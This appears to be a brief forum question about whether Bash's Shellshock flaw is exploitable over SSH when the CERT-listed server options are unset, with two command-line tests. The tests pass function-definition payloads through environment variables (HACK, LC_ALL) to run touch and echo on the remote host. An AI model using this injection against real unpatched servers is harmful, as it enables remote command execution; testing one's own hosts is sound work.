The three options listed in the CERT release (AcceptEnv TERM and SSH_ORIGINAL_COMMAND) are all server-side options. If none of these are set on a host (and no http vector is available) is the host secure, even if Bash remains unfixed? If I set AcceptEnv=HACK on the openssh server, shouldn't this work?
HACK='() { :;}; /usr/bin/touch /tmp/illegal' ssh user@host
$ LC_ALL='() { :; }; echo vulnerable' ssh [hidden] true
/vulnerable